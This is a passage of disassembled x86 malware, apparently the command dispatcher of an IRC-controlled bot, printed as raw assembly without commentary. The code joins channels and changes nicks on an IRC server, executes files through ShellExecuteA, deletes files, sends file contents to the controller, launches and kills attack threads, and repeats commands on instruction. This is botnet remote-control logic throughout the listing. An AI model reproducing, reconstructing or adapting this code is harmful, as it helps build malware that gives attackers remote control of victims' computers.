		call	dword_421060	; Sleep


loc_410BB6:				; CODE XREF: sub_40CD3A+3E66j
		push	offset dword_434BFC
		call	sub_40B078
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_40D192
; ---------------------------------------------------------------------------


loc_410BCA:				; CODE XREF: sub_40CD3A+22B4j
					; sub_40CD3A+22CBj
		push	[ebp+var_90]
		push	offset dword_436AD8
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D18F
		cmp	[ebp+var_C], ebx
		jz	loc_412818
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_4158E0
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_415730
		add	esp, 10h
		test	eax, eax
		push	esi
		lea	eax, [ebp+var_2D8]
		jz	short loc_410C86
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_434C24
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_2D8]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_416BE0
		push	esi
		lea	eax, [ebp+var_2D8]
		push	offset dword_434BC8
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_40B078
		push	edi
		call	sub_41587F
		add	esp, 38h
		test	eax, eax
		jle	loc_412818
		push	edi
		call	sub_41587F
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_40D192
; ---------------------------------------------------------------------------


loc_410C86:				; CODE XREF: sub_40CD3A+3EDBj
		push	offset dword_434B80
		push	eax
		call	sub_415316
		add	esp, 0Ch
		jmp	loc_411212
; ---------------------------------------------------------------------------


loc_410C99:				; CODE XREF: sub_40CD3A+2286j
					; sub_40CD3A+229Dj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2D8]
		push	offset dword_434B78
		push	eax
		call	sub_415316
		push	edi
		call	sub_41587F
		add	esp, 10h


loc_410CB6:				; CODE XREF: sub_40CD3A+3FE3j
		test	eax, eax
		jle	loc_412818
		push	edi
		call	sub_41587F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412818


loc_410CD0:				; CODE XREF: sub_40CD3A+48B9j
		lea	eax, [ebp+var_2D8]
		push	eax
		push	offset dword_425090
		push	edi
		call	sub_41587F
		imul	eax, 234h
		pop	ecx
		push	dword_441BA4[eax]
		call	sub_412B8B
		jmp	loc_412492
; ---------------------------------------------------------------------------


loc_410CF9:				; CODE XREF: sub_40CD3A+2258j
					; sub_40CD3A+226Fj
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2D8]
		push	[ebp+arg_18]
		push	offset dword_434B6C
		push	eax
		call	sub_415316
		push	edi
		call	sub_41587F
		add	esp, 14h
		jmp	short loc_410CB6
; ---------------------------------------------------------------------------


loc_410D1F:				; CODE XREF: sub_40CD3A+222Aj
					; sub_40CD3A+2241j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2D8]
		push	offset dword_434B64
		push	eax
		call	sub_415316
		push	edi
		call	sub_41587F
		add	esp, 10h
		test	eax, eax
		jle	loc_412818
		push	edi
		call	sub_41587F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412818
		lea	eax, [ebp+var_2D8]
		push	eax
		push	offset dword_425090
		push	edi
		call	sub_41587F
		imul	eax, 234h
		pop	ecx
		push	dword_441BA4[eax]
		call	sub_412B8B
		push	[ebp+arg_18]
		push	edi
		push	offset dword_434B34


loc_410D83:				; CODE XREF: sub_40CD3A+40D0j
					; sub_40CD3A+413Bj ...
		call	sub_40B0EC
		jmp	loc_41216C
; ---------------------------------------------------------------------------


loc_410D8D:				; CODE XREF: sub_40CD3A+21FCj
					; sub_40CD3A+2213j
		cmp	[ebp+var_C], ebx
		jz	loc_412818
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_4158E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_410DBE
		push	esi
		lea	eax, [ebp+var_2D8]
		push	offset dword_434B2C
		push	eax
		call	sub_415316
		add	esp, 0Ch


loc_410DBE:				; CODE XREF: sub_40CD3A+406Dj
		push	edi
		call	sub_41587F
		test	eax, eax
		pop	ecx
		jle	loc_412818
		push	edi
		call	sub_41587F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412818
		lea	eax, [ebp+var_2D8]
		push	eax
		push	offset dword_425090
		push	edi
		call	sub_41587F
		imul	eax, 234h
		pop	ecx
		push	dword_441BA4[eax]
		call	sub_412B8B
		push	esi
		push	edi
		push	offset dword_434AFC
		jmp	loc_410D83
; ---------------------------------------------------------------------------


loc_410E0F:				; CODE XREF: sub_40CD3A+21CEj
					; sub_40CD3A+21E5j
		cmp	[ebp+var_C], ebx
		jz	loc_412818
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_4158E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_412818
		push	edi
		call	sub_41587F
		test	eax, eax
		pop	ecx
		jle	loc_412818
		push	edi
		call	sub_41587F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412818
		push	esi
		push	offset dword_425090
		push	edi
		call	sub_41587F
		imul	eax, 234h
		pop	ecx
		push	dword_441BA4[eax]
		call	sub_412B8B
		push	esi
		push	edi
		push	offset dword_434ACC
		jmp	loc_410D83
; ---------------------------------------------------------------------------


loc_410E7A:				; CODE XREF: sub_40CD3A+21A0j
					; sub_40CD3A+21B7j
		cmp	[ebp+var_C], ebx
		jz	loc_412818
		push	edi
		push	[ebp+var_C]
		call	sub_4158E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_412818
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		push	esi
		push	offset dword_434A90
		jmp	loc_4117D1
; ---------------------------------------------------------------------------


loc_410EB1:				; CODE XREF: sub_40CD3A+2172j
					; sub_40CD3A+2189j
		push	[ebp+var_90]
		push	offset dword_436AD8
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D18F
		push	[ebp+arg_18]
		push	offset dword_434A84
		push	[ebp+arg_4]
		call	sub_412B8B
		push	edi
		call	sub_41587F
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	dword_421060	; Sleep
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		push	offset dword_434A5C
		call	sub_40B078
		jmp	loc_4117D6
; ---------------------------------------------------------------------------


loc_410F17:				; CODE XREF: sub_40CD3A+2144j
					; sub_40CD3A+215Bj
		cmp	[ebp+var_C], ebx
		jz	loc_412818
		push	edi
		call	sub_415B10
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_415B10
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_4158E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_412818
		push	esi
		lea	eax, [ebp+var_2D8]
		push	offset dword_435320
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_412BD1
		push	esi
		push	edi
		push	offset dword_434A2C
		call	sub_40B0EC
		add	esp, 2Ch
		jmp	loc_412818
; ---------------------------------------------------------------------------


loc_410F85:				; CODE XREF: sub_40CD3A+2116j
					; sub_40CD3A+212Dj
		cmp	[ebp+var_C], ebx
		jz	loc_412818
		push	edi
		call	sub_415B10
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_415B10
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_4158E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_412818
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_412BD1
		push	esi
		push	edi
		push	offset dword_4349FC
		call	sub_40B0EC


loc_410FD3:				; CODE XREF: sub_40CD3A+2E76j
		add	esp, 20h
		jmp	loc_412818
; ---------------------------------------------------------------------------


loc_410FDB:				; CODE XREF: sub_40CD3A+20E8j
					; sub_40CD3A+20FFj
		cmp	[ebp+var_C], ebx
		jz	loc_40D18F
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_4158E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40D18F
		push	eax
		push	edi
		call	sub_40AF80
		push	edi
		lea	eax, [ebp+var_2D8]
		push	offset dword_4349CC
		push	eax
		call	sub_415316
		add	esp, 14h
		jmp	loc_40F5D2
; ---------------------------------------------------------------------------


loc_41101A:				; CODE XREF: sub_40CD3A+20A8j
					; sub_40CD3A+20BFj
		push	edi
		push	[ebp+arg_1C]
		call	sub_4158E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412818
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4110B1
		push	esi
		push	[ebp+var_C]
		call	sub_4158E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		lea	eax, [ebp+var_2D8]
		jz	short loc_41109F
		push	esi
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_434C24
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_2D8]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_416BE0
		push	esi
		push	edi
		lea	eax, [ebp+var_2D8]
		push	offset dword_434994
		push	eax
		call	sub_415316
		add	esp, 34h
		inc	[ebp+arg_24]
		jmp	loc_411233
; ---------------------------------------------------------------------------


loc_41109F:				; CODE XREF: sub_40CD3A+4313j
		push	offset dword_434950
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx
		jmp	loc_411233
; ---------------------------------------------------------------------------


loc_4110B1:				; CODE XREF: sub_40CD3A+42FCj
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40AC8C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		push	edi
		push	offset dword_434924
		lea	eax, [ebp+var_2D8]
		push	200h
		push	eax
		call	sub_41588A
		add	esp, 24h
		jmp	loc_411233
; ---------------------------------------------------------------------------


loc_4110F8:				; CODE XREF: sub_40CD3A+1AFFj
					; sub_40CD3A+1B16j
		push	offset aR	; "r"
		push	edi
		call	sub_415A08
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_411172
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2D8]
		push	ebx
		push	eax
		call	sub_416FDC
		add	esp, 0Ch
		jmp	short loc_41114E
; ---------------------------------------------------------------------------


loc_411123:				; CODE XREF: sub_40CD3A+4416j
		push	1
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		push	esi
		lea	eax, [ebp+var_2D8]
		push	ebx
		push	eax
		call	sub_416FDC
		add	esp, 20h


loc_41114E:				; CODE XREF: sub_40CD3A+43E7j
		test	eax, eax
		jnz	short loc_411123
		push	esi
		call	sub_415960
		push	edi
		lea	eax, [ebp+var_2D8]
		push	offset dword_4348EC
		push	eax
		call	sub_415316
		add	esp, 10h
		jmp	loc_40F547
; ---------------------------------------------------------------------------


loc_411172:				; CODE XREF: sub_40CD3A+43CFj
		push	edi
		push	offset dword_4348B8
		jmp	loc_40F517
; ---------------------------------------------------------------------------


loc_41117D:				; CODE XREF: sub_40CD3A+1AD1j
					; sub_40CD3A+1AE8j
		cmp	[ebp+var_C], ebx
		jz	loc_412818
		push	edi
		push	[ebp+var_C]
		call	sub_4158E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_412818
		push	offset asc_426CF0 ; "\n"
		push	esi
		call	sub_415A30
		push	esi
		call	sub_40A506
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_2D8]
		jnz	short loc_4111C0
		push	offset dword_434878
		jmp	short loc_41120A
; ---------------------------------------------------------------------------


loc_4111C0:				; CODE XREF: sub_40CD3A+447Dj
		push	esi
		push	offset dword_43484C
		push	eax
		call	sub_415316
		add	esp, 0Ch
		jmp	short loc_411233
; ---------------------------------------------------------------------------


loc_4111D1:				; CODE XREF: sub_40CD3A+1AA3j
					; sub_40CD3A+1ABAj
		cmp	[ebp+var_C], ebx
		jz	loc_412818
		push	edi
		push	[ebp+var_C]
		call	sub_4158E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_412818
		push	eax
		call	sub_409BEC
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_2D8]
		jnz	short loc_411205
		push	offset unk_43481C
		jmp	short loc_41120A
; ---------------------------------------------------------------------------


loc_411205:				; CODE XREF: sub_40CD3A+44C2j
		push	offset dword_4347EC


loc_41120A:				; CODE XREF: sub_40CD3A+4484j
					; sub_40CD3A+44C9j
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx


loc_411212:				; CODE XREF: sub_40CD3A+3F5Aj
		cmp	[ebp+var_8], ebx
		jnz	short loc_411233
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 14h


loc_411233:				; CODE XREF: sub_40CD3A+4360j
					; sub_40CD3A+4372j ...
		lea	eax, [ebp+var_2D8]
		push	eax


loc_41123A:				; CODE XREF: sub_40CD3A+164Aj
		call	sub_40B078
		pop	ecx
		jmp	loc_412818
; ---------------------------------------------------------------------------


loc_411245:				; CODE XREF: sub_40CD3A+1A75j
					; sub_40CD3A+1A8Cj
		push	7Fh
		lea	eax, [ebp+var_1824]
		push	edi
		push	eax
		call	sub_416BE0
		mov	esi, [ebp+esi+var_8C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_411274
		push	7Fh
		lea	eax, [ebp+var_17A4]
		push	esi
		push	eax
		call	sub_416BE0
		add	esp, 0Ch


loc_411274:				; CODE XREF: sub_40CD3A+4526j
		push	7Fh
		lea	eax, [ebp+var_1724]
		push	[ebp+var_8C]
		push	eax
		call	sub_416BE0
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_1828],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_16A0],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_169C],	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_4347C0
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	14h
		push	eax
		call	sub_414DDA
		add	esp, 24h
		mov	[ebp+var_16A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1828]
		push	ebx
		push	eax
		push	offset sub_40AD52
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_16A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	short loc_411324
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434770


loc_411308:				; CODE XREF: sub_40CD3A+562Cj
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_415316
		add	esp, 0Ch
		jmp	loc_40F547
; ---------------------------------------------------------------------------


loc_41131C:				; CODE XREF: sub_40CD3A+45F0j
		push	32h
		call	dword_421060	; Sleep


loc_411324:				; CODE XREF: sub_40CD3A+45C0j
		cmp	[ebp+var_1698],	ebx
		jz	short loc_41131C
		jmp	loc_40F547
; ---------------------------------------------------------------------------


loc_411331:				; CODE XREF: sub_40CD3A+1A47j
					; sub_40CD3A+1A5Ej
		push	ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	edi
		call	sub_4062F7
		push	edi
		push	offset dword_434744
		jmp	loc_410D83
; ---------------------------------------------------------------------------


loc_41134C:				; CODE XREF: sub_40CD3A+1A19j
					; sub_40CD3A+1A30j
		push	14h
		lea	eax, [ebp+var_858]
		push	ebx
		push	eax
		call	sub_415390
		push	edi
		lea	eax, [ebp+var_844]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_415316
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_860], eax
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_740]
		push	80h
		push	eax
		call	sub_41588A
		mov	eax, [ebp+var_4]
		mov	[ebp+var_6B8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_6B4], eax
		lea	eax, [ebp+var_740]
		push	eax
		lea	eax, [ebp+var_844]
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_43470C
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	12h
		push	eax
		call	sub_414DDA
		add	esp, 40h
		mov	[ebp+var_6BC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset sub_40B61A
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_6BC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	short loc_41141F


loc_411406:				; CODE XREF: sub_40CD3A+79Dj
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4346C0
		jmp	loc_4108F0
; ---------------------------------------------------------------------------


loc_411417:				; CODE XREF: sub_40CD3A+46EBj
		push	32h
		call	dword_421060	; Sleep


loc_41141F:				; CODE XREF: sub_40CD3A+46CAj
		cmp	[ebp+var_6B0], ebx
		jz	short loc_411417
		jmp	loc_40D68B
; ---------------------------------------------------------------------------


loc_41142C:				; CODE XREF: sub_40CD3A+19EBj
					; sub_40CD3A+1A02j
		push	edi
		call	dword_421118	; DeleteFileA
		test	eax, eax
		jz	short loc_41143F
		push	edi
		push	offset dword_434690
		jmp	short loc_41144A
; ---------------------------------------------------------------------------


loc_41143F:				; CODE XREF: sub_40CD3A+46FBj
		push	offset dword_434E24
		call	sub_409B27
		push	eax


loc_41144A:				; CODE XREF: sub_40CD3A+4703j
		lea	eax, [ebp+var_2D8]
		push	200h
		push	eax
		call	sub_41588A


loc_41145B:				; CODE XREF: sub_40CD3A+47E5j
		add	esp, 10h
		jmp	loc_40F526
; ---------------------------------------------------------------------------


loc_411463:				; CODE XREF: sub_40CD3A+19BDj
					; sub_40CD3A+19D4j
		push	edi
		call	sub_41587F
		push	eax
		call	sub_413EDB
		xor	esi, esi
		pop	ecx
		inc	esi
		pop	ecx
		cmp	eax, esi
		push	edi
		lea	eax, [ebp+var_2D8]
		jnz	short loc_411486
		push	offset dword_434658
		jmp	short loc_41148B
; ---------------------------------------------------------------------------


loc_411486:				; CODE XREF: sub_40CD3A+4743j
		push	offset dword_434610


loc_41148B:				; CODE XREF: sub_40CD3A+474Aj
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_40F54A
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 14h
		jmp	loc_40F54A
; ---------------------------------------------------------------------------


loc_4114BE:				; CODE XREF: sub_40CD3A+198Fj
					; sub_40CD3A+19A6j
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_413C50
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_4114E0
		push	offset dword_4345D4
		jmp	loc_40F517
; ---------------------------------------------------------------------------


loc_4114E0:				; CODE XREF: sub_40CD3A+479Aj
		push	offset dword_434590
		jmp	loc_40F517
; ---------------------------------------------------------------------------


loc_4114EA:				; CODE XREF: sub_40CD3A+1961j
					; sub_40CD3A+1978j
		push	edi
		call	dword_43CA64	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_411524
		push	2
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		call	dword_43C9DC	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_41153F
		push	dword ptr [eax]


loc_41150D:				; CODE XREF: sub_40CD3A+4803j
		push	edi
		lea	eax, [ebp+var_2D8]
		push	offset dword_434560
		push	eax
		call	sub_415316
		jmp	loc_41145B
; ---------------------------------------------------------------------------


loc_411524:				; CODE XREF: sub_40CD3A+47BDj
		push	edi
		call	dword_43CAA8	; gethostbyname
		cmp	eax, ebx
		jz	short loc_41153F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_43CAB0	; inet_ntoa
		push	eax
		jmp	short loc_41150D
; ---------------------------------------------------------------------------


loc_41153F:				; CODE XREF: sub_40CD3A+47CFj
					; sub_40CD3A+47F3j
		push	offset dword_434524
		jmp	loc_40EDBE
; ---------------------------------------------------------------------------


loc_411549:				; CODE XREF: sub_40CD3A+1933j
					; sub_40CD3A+194Aj
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_416BE0
		push	edi
		lea	eax, [ebp+var_2D8]
		push	offset dword_4344EC
		push	eax
		call	sub_415316
		add	esp, 18h
		jmp	loc_40F8F6
; ---------------------------------------------------------------------------


loc_41156E:				; CODE XREF: sub_40CD3A+1905j
					; sub_40CD3A+191Cj
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_43C998	; ShellExecuteA
		test	eax, eax
		push	edi
		jz	short loc_41158E
		push	offset unk_4344BC
		jmp	loc_40F517
; ---------------------------------------------------------------------------


loc_41158E:				; CODE XREF: sub_40CD3A+4848j
		push	offset unk_434484
		jmp	loc_40F517
; ---------------------------------------------------------------------------


loc_411598:				; CODE XREF: sub_40CD3A+18D7j
					; sub_40CD3A+18EEj
		mov	al, [edi]
		mov	byte_42C258, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset dword_43444C
		jmp	loc_40EAFE
; ---------------------------------------------------------------------------


loc_4115AD:				; CODE XREF: sub_40CD3A+18A9j
					; sub_40CD3A+18C0j
		push	edi
		call	sub_41587F
		test	eax, eax
		pop	ecx
		jle	loc_412818
		push	edi
		call	sub_41587F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412818
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_414278
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_434B64
		push	eax
		call	sub_415316
		add	esp, 1Ch
		jmp	loc_410CD0
; ---------------------------------------------------------------------------


loc_4115F8:				; CODE XREF: sub_40CD3A+187Bj
					; sub_40CD3A+1892j
		push	edi
		call	sub_41587F
		test	eax, eax
		pop	ecx
		jle	loc_40D18F
		push	edi
		call	sub_41587F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40D18F
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41587F
		imul	eax, 234h
		pop	ecx
		push	dword_441BA4[eax]
		call	sub_412B8B
		pop	ecx
		pop	ecx
		push	1F4h
		call	dword_421060	; Sleep
		push	edi
		call	sub_41587F
		imul	eax, 234h
		pop	ecx
		push	dword_441BA4[eax]
		call	dword_43CABC	; closesocket
		push	[ebp+var_10]
		push	edi
		call	sub_41587F
		imul	eax, 234h
		pop	ecx
		push	dword_441BAC[eax]
		call	dword_421130	; TerminateThread
		push	edi
		call	sub_41587F
		imul	eax, 234h
		push	edi
		mov	dword_441BAC[eax], ebx
		call	sub_41587F
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_441998[eax], bl
		jmp	loc_40D18F
; ---------------------------------------------------------------------------


loc_4116A3:				; CODE XREF: sub_40CD3A+184Dj
					; sub_40CD3A+1864j
		push	edi
		push	offset aAll	; "all"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4116D2
		call	sub_414F9D
		cmp	eax, ebx
		jle	short loc_4116C8
		push	eax
		push	offset dword_4343FC
		jmp	loc_40F5C3
; ---------------------------------------------------------------------------


loc_4116C8:				; CODE XREF: sub_40CD3A+4981j
		push	offset dword_4343C0
		jmp	loc_411EB9
; ---------------------------------------------------------------------------


loc_4116D2:				; CODE XREF: sub_40CD3A+4978j
		mov	eax, [ebp+var_A8]
		lea	esi, [eax+1]
		jmp	short loc_411749
; ---------------------------------------------------------------------------


loc_4116DD:				; CODE XREF: sub_40CD3A+4A12j
		mov	edi, [ebp+esi*4+var_94]
		cmp	edi, ebx
		jz	loc_40D18F
		push	edi
		call	sub_41587F
		push	eax
		call	sub_414F15
		pop	ecx
		pop	ecx
		test	eax, eax
		push	edi
		lea	eax, [ebp+var_2D8]
		jz	short loc_41170C
		push	offset dword_434388
		jmp	short loc_411711
; ---------------------------------------------------------------------------


loc_41170C:				; CODE XREF: sub_40CD3A+49C9j
		push	offset dword_434348


loc_411711:				; CODE XREF: sub_40CD3A+49D0j
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_41173B
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 14h


loc_41173B:				; CODE XREF: sub_40CD3A+49E3j
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_40B078
		pop	ecx
		inc	esi


loc_411749:				; CODE XREF: sub_40CD3A+49A1j
		cmp	esi, 20h
		jb	short loc_4116DD
		jmp	loc_40D18F
; ---------------------------------------------------------------------------


loc_411753:				; CODE XREF: sub_40CD3A+181Fj
					; sub_40CD3A+1836j
		cmp	[ebp+var_C], ebx
		jz	loc_412818
		push	edi
		push	[ebp+var_C]
		call	sub_4158E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_412818
		push	esi
		push	offset dword_425090
		push	[ebp+arg_4]
		call	sub_412B8B
		push	esi
		push	offset dword_43431C
		jmp	short loc_4117D1
; ---------------------------------------------------------------------------


loc_411787:				; CODE XREF: sub_40CD3A+17F1j
					; sub_40CD3A+1808j
		push	edi
		push	offset dword_434A84
		push	[ebp+arg_4]
		call	sub_412B8B
		push	edi
		push	offset dword_4342E8
		jmp	short loc_4117D1
; ---------------------------------------------------------------------------


loc_41179D:				; CODE XREF: sub_40CD3A+17C3j
					; sub_40CD3A+17DAj
		push	[ebp+esi+var_8C]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		push	edi
		push	offset dword_4342B4
		jmp	loc_410D83
; ---------------------------------------------------------------------------


loc_4117BD:				; CODE XREF: sub_40CD3A+1795j
					; sub_40CD3A+17ACj
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		push	edi
		push	offset dword_43427C


loc_4117D1:				; CODE XREF: sub_40CD3A+4172j
					; sub_40CD3A+4A4Bj ...
		call	sub_40B0EC


loc_4117D6:				; CODE XREF: sub_40CD3A+41D8j
		add	esp, 14h
		jmp	loc_412818
; ---------------------------------------------------------------------------


loc_4117DE:				; CODE XREF: sub_40CD3A+175Aj
					; sub_40CD3A+176Fj
		mov	al, byte_4276EE
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_4276EE
		jz	loc_40D18F
		mov	ecx, edx


loc_4117F5:				; CODE XREF: sub_40CD3A+4AC3j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4117F5
		cmp	al, bl
		jz	loc_40D18F
		mov	[ebp+arg_18], edx


loc_41180A:				; CODE XREF: sub_40CD3A+4D7Cj
		push	8
		call	sub_41501C
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 12Ch
		jle	short loc_411859
		push	ecx
		lea	eax, [ebp+var_2D8]
		push	offset dword_435460
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 20h
		jmp	loc_411AAD
; ---------------------------------------------------------------------------


loc_411859:				; CODE XREF: sub_40CD3A+4AEAj
		or	[ebp+var_458], 0FFFFFFFFh
		cmp	dword_427388, ebx
		mov	[ebp+var_45C], 1Eh
		mov	[ebp+var_470], 7
		mov	[ebp+var_46C], 0B4h
		mov	[ebp+arg_0], ebx
		jz	short loc_4118CA
		mov	eax, [ebp+arg_18]
		mov	edi, offset dword_427388
		lea	esi, [eax-0Ah]


loc_411894:				; CODE XREF: sub_40CD3A+4B72j
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4118B0
		inc	[ebp+arg_0]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_411894
		jmp	short loc_4118CA
; ---------------------------------------------------------------------------


loc_4118B0:				; CODE XREF: sub_40CD3A+4B68j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_458], eax
		imul	ecx, 3Ch
		mov	ecx, dword_427388[ecx]
		mov	[ebp+var_474], ecx


loc_4118CA:				; CODE XREF: sub_40CD3A+4B4Dj
					; sub_40CD3A+4B74j
		cmp	[ebp+var_474], ebx
		jz	loc_411AD3
		push	10h
		lea	eax, [ebp+arg_10]
		pop	esi
		push	eax
